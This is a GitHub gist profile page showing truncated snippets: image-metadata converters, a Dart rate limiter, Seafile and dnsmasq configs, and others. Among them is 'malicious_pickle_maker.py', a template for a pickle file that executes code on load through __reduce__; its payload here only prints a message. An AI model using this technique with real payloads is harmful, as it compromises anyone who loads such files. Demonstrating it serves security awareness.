Skip to content

Instantly share code, notes, and snippets.

View CodeZombie's full-sized avatar
🌵

Jeremy Clark CodeZombie

🌵
View GitHub Profile
@CodeZombie
CodeZombie / convert.py
Created March 20, 2023 02:21
convert stable diffusion .png images to .jpeg while retaining metadata
from PIL import Image
from PIL.ExifTags import TAGS
import os
SOURCE_DIR = r'C:\Users\jerem\ai\stable-diffusion-webui_working\outputs'
DESTINATION_DIR = r'C:\Users\jerem\ai\converted2'
def find_png_files(directory):
"""Returns a list of full filenames for all .png files in a directory, including subdirectories."""
png_files = []
@CodeZombie
CodeZombie / malicious_pickle_maker.py
Created March 13, 2023 20:42
Malicious pickle creation template
import pickle
PAYLOAD_MESSAGE = "You just got owned by Arbitrary Code Execution inside a Pickle file."
#A class that when unpickled, will execute the code embedded in the __reduce__ method's return value
class PickleACE(object):
def __reduce__(self):
return (print,(PAYLOAD_MESSAGE,))
# Save the pickle data to a file
@CodeZombie
CodeZombie / batch_autolabel.py
Created February 1, 2023 03:49
a batch label generator for AI Images, useful for generating training data
import argparse
import glob
import sys
from PIL import Image
import os
def main():
"""
When given a directory, this script will create text files containing the positive prompts of each image (if the data exists in the png metadata),
and stores it as a .txt file with the same name next to the original image.
@CodeZombie
CodeZombie / ratelimiter_demo.dart
Created November 12, 2022 22:16
Dart Rate Limiter
class RateLimiter {
late int waitTimeMilliseconds = 2500;
DateTime lastActionTime = DateTime.now();
Future<Function> doAction(Function f) async {
while (true) {
if (DateTime.now().isAfter(lastActionTime.add(Duration(milliseconds: waitTimeMilliseconds)))) {
break;
} else {
await Future.delayed(const Duration(milliseconds: 100));
version: '2.0'
services:
db:
image: mariadb:10.5
container_name: seafile-mysql
environment:
- MYSQL_ROOT_PASSWORD=db_dev # Requested, set the root's password of MySQL service.
- MYSQL_LOG_CONSOLE=true
volumes:
- /mnt/twotera/seafile-mysql/db:/var/lib/mysql # Requested, specifies the path to MySQL data persistent store.
@CodeZombie
CodeZombie / _etc_dnsmasq.conf
Created September 12, 2022 01:49
DnsMasq & Nginx
port=53
domain-needed
bogus-priv
strict-order
address=/ham/127.0.0.1
interface=eno1
listen-address=127.0.0.1
expand-hosts
domain=box.ham
@CodeZombie
CodeZombie / d_bounce.cpp
Created October 31, 2017 06:55
very responsive, low memory, near-perfect potentiometer debounce
class Pot {
uint8_t rawValue = 0; //the raw value of the potentiometer
uint8_t smoothValue = 0; //the smoothed public-facing value of the pot
uint8_t stableSteps = 0; //value that tracks how many update() calls have passed since the last time the pot value change
void (*changeMethod)(uint16_t); //the function that gets called when the smoothed value changes
public:
Pot(void (*changeMethod_)(uint16_t)) {
changeMethod = changeMethod_;
}
@CodeZombie
CodeZombie / main.dart
Last active January 16, 2022 22:58
Dart arbitrary caching middleware
var CacheDatabase = Map();
//An arbitrary function which returns a String
String sexNumberAsString() {
return "69";
}
//Another arbitrary function which takes in arguments and returns a different type.
int add(int a, int b) {
@CodeZombie
CodeZombie / datefinder.py
Created March 21, 2018 19:12
python date extractor
MONTHS = ["1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12", "january", "jan", "feb", "february", "march", "mar", "april", "apr", "may", "june", "jun", "july", "jul", "august", "aug", "september", "sept", "october", "oct"]
DAYS = ["1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12", "13", "14", "15", "16", "17", "18", "19", "20", "21", "22", "23", "24", "25", "26", "27", "28", "29", "30", "31", "32", "1st", "2nd", "3rd", "4th", "5th", "6th", "7th", "8th", "9th", "10th", "11th", "12th", "13th", "14th", "15th", "16th", "17th", "18th", "19th", "20th", "21st", "22nd", "23rd", "24th", "25th", "26th", "27th", "28th", "29th", "30th", "31st", "32nd", "first", "second", "third", "fourth", "fifth", "sixth", "seventh", "eighth", "ninth", "tenth", "eleventh", "twelfth", "thirteenth", "fourteenth", "fifteenth", "sixteenth", "seventeenth", "eighteenth", "nineteenth", "twentieth", "twenty first", "twenty second", "twenty third"]
YEARS = ["2018", "18", "1994", "94"]
#find every instance of every elemen
@CodeZombie
CodeZombie / ulauncher-service.service
Last active December 31, 2021 22:55
A systemd user service
# How To Use:
# ~/.config/systemd/user/ulauncher-service.service
# systemctl --user daemon-reload
# systemctl --user enable ulauncher-service.service
# systemctl --user start ulauncher-service.service
[Unit]
Description=Starts uLauncher and keeps it alive
[Service]